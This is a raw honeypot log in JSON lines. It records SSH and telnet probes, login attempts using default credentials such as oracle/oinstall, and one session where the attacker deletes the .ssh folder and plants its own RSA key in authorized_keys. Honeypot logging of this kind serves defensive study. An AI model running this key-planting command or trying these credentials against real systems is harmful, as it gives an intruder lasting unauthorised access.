{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:56.182230Z","src_ip":"77.90.185.16","session":"0f08076fe8c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.134981632232666,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:56.499109Z","src_ip":"24.199.85.165","session":"9c935a56c0c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":45934,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1266557ec0d","protocol":"telnet","message":"New connection: 24.199.85.165:45934 (10.17.0.5:23) [session: e1266557ec0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:57.716313Z"}
{"eventid":"cowrie.session.closed","duration":31.96212387084961,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:03.818890Z","src_ip":"24.199.85.165","session":"5051a200c788","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":27606,"dst_ip":"159.203.135.109","dst_port":22,"session":"900b14e57fea","protocol":"ssh","message":"New connection: 193.24.211.95:27606 (159.203.135.109:22) [session: 900b14e57fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:12.678322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:12.683288Z","src_ip":"193.24.211.95","session":"900b14e57fea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:12.793624Z","src_ip":"193.24.211.95","session":"900b14e57fea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"weblogic","message":"login attempt [system/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:13.240000Z","src_ip":"193.24.211.95","session":"900b14e57fea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:14.351452Z","src_ip":"193.24.211.95","session":"900b14e57fea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.605379581451416,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:15.978845Z","src_ip":"185.26.126.47","session":"049c24d54e03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.21419668197632,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:17.114660Z","src_ip":"24.199.85.165","session":"a37d0748b84f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":54994,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccd524789527","protocol":"telnet","message":"New connection: 24.199.85.165:54994 (10.17.0.5:23) [session: ccd524789527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:19.327063Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":55002,"dst_ip":"10.17.0.5","dst_port":23,"session":"77c792c133a6","protocol":"telnet","message":"New connection: 24.199.85.165:55002 (10.17.0.5:23) [session: 77c792c133a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:20.523206Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":55016,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d77e1688ecb","protocol":"telnet","message":"New connection: 24.199.85.165:55016 (10.17.0.5:23) [session: 9d77e1688ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:21.214408Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":55202,"dst_ip":"10.17.0.5","dst_port":23,"session":"35d7ba805bef","protocol":"telnet","message":"New connection: 24.199.85.165:55202 (10.17.0.5:23) [session: 35d7ba805bef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:23.321010Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":55204,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dc8c06f75aa","protocol":"telnet","message":"New connection: 24.199.85.165:55204 (10.17.0.5:23) [session: 1dc8c06f75aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:24.486703Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":55208,"dst_ip":"10.17.0.5","dst_port":23,"session":"40c58b5e8289","protocol":"telnet","message":"New connection: 24.199.85.165:55208 (10.17.0.5:23) [session: 40c58b5e8289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:28.150605Z"}
{"eventid":"cowrie.session.closed","duration":31.144967555999756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:28.861284Z","src_ip":"24.199.85.165","session":"e1266557ec0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":55220,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8acc6d9b842","protocol":"telnet","message":"New connection: 24.199.85.165:55220 (10.17.0.5:23) [session: a8acc6d9b842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:28.945472Z"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":53354,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d2258783c19","protocol":"ssh","message":"New connection: 121.122.119.48:53354 (159.203.135.109:22) [session: 9d2258783c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:36.656185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:36.660304Z","src_ip":"121.122.119.48","session":"9d2258783c19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:36.894712Z","src_ip":"121.122.119.48","session":"9d2258783c19","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oinstall","message":"login attempt [oracle/oinstall] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:37.860752Z","src_ip":"121.122.119.48","session":"9d2258783c19","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:38.371865Z","src_ip":"121.122.119.48","session":"9d2258783c19","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:38.375363Z","src_ip":"121.122.119.48","session":"9d2258783c19","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:38.379218Z","src_ip":"121.122.119.48","session":"9d2258783c19","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:38.616331Z","src_ip":"121.122.119.48","session":"9d2258783c19","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:39.129253Z","src_ip":"121.122.119.48","session":"9d2258783c19","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:39.132674Z","src_ip":"121.122.119.48","session":"9d2258783c19","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:39.375009Z","src_ip":"121.122.119.48","session":"9d2258783c19","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:39.378942Z","src_ip":"121.122.119.48","session":"9d2258783c19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":53878,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cb8a7d7b5be","protocol":"ssh","message":"New connection: 121.122.119.48:53878 (159.203.135.109:22) [session: 7cb8a7d7b5be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:39.609459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:39.613975Z","src_ip":"121.122.119.48","session":"7cb8a7d7b5be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:39.847754Z","src_ip":"121.122.119.48","session":"7cb8a7d7b5be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:40.818188Z","src_ip":"121.122.119.48","session":"7cb8a7d7b5be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":51068,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea3eb51f2651","protocol":"telnet","message":"New connection: 24.199.85.165:51068 (10.17.0.5:23) [session: ea3eb51f2651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:41.420992Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":51080,"dst_ip":"10.17.0.5","dst_port":23,"session":"54338d4530de","protocol":"telnet","message":"New connection: 24.199.85.165:51080 (10.17.0.5:23) [session: 54338d4530de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:41.492245Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":51084,"dst_ip":"10.17.0.5","dst_port":23,"session":"036c79717354","protocol":"telnet","message":"New connection: 24.199.85.165:51084 (10.17.0.5:23) [session: 036c79717354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:41.976201Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:42.055858Z","src_ip":"121.122.119.48","session":"7cb8a7d7b5be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":51088,"dst_ip":"10.17.0.5","dst_port":23,"session":"afdfe6984d50","protocol":"telnet","message":"New connection: 24.199.85.165:51088 (10.17.0.5:23) [session: afdfe6984d50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:42.226031Z"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":54284,"dst_ip":"159.203.135.109","dst_port":22,"session":"c97cea9ca5c8","protocol":"ssh","message":"New connection: 121.122.119.48:54284 (159.203.135.109:22) [session: c97cea9ca5c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:42.305054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:42.309849Z","src_ip":"121.122.119.48","session":"c97cea9ca5c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:42.555941Z","src_ip":"121.122.119.48","session":"c97cea9ca5c8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:43.575161Z","src_ip":"121.122.119.48","session":"c97cea9ca5c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:43.812286Z","src_ip":"121.122.119.48","session":"9d2258783c19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:43.823150Z","src_ip":"121.122.119.48","session":"c97cea9ca5c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.15368437767029,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:51.480640Z","src_ip":"24.199.85.165","session":"ccd524789527","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.331079721450806,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:52.854163Z","src_ip":"24.199.85.165","session":"77c792c133a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.529006242752075,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:54.743296Z","src_ip":"24.199.85.165","session":"9d77e1688ecb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.38867712020874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:55.875231Z","src_ip":"24.199.85.165","session":"1dc8c06f75aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.33844470977783,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:56.659317Z","src_ip":"24.199.85.165","session":"35d7ba805bef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":54908,"dst_ip":"10.17.0.5","dst_port":23,"session":"f92c8d990e53","protocol":"telnet","message":"New connection: 24.199.85.165:54908 (10.17.0.5:23) [session: f92c8d990e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:58.175766Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":54912,"dst_ip":"10.17.0.5","dst_port":23,"session":"cab8a5fdb348","protocol":"telnet","message":"New connection: 24.199.85.165:54912 (10.17.0.5:23) [session: cab8a5fdb348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:58.817865Z"}
{"eventid":"cowrie.session.closed","duration":31.40335512161255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:44:59.553869Z","src_ip":"24.199.85.165","session":"40c58b5e8289","protocol":"telnet"}
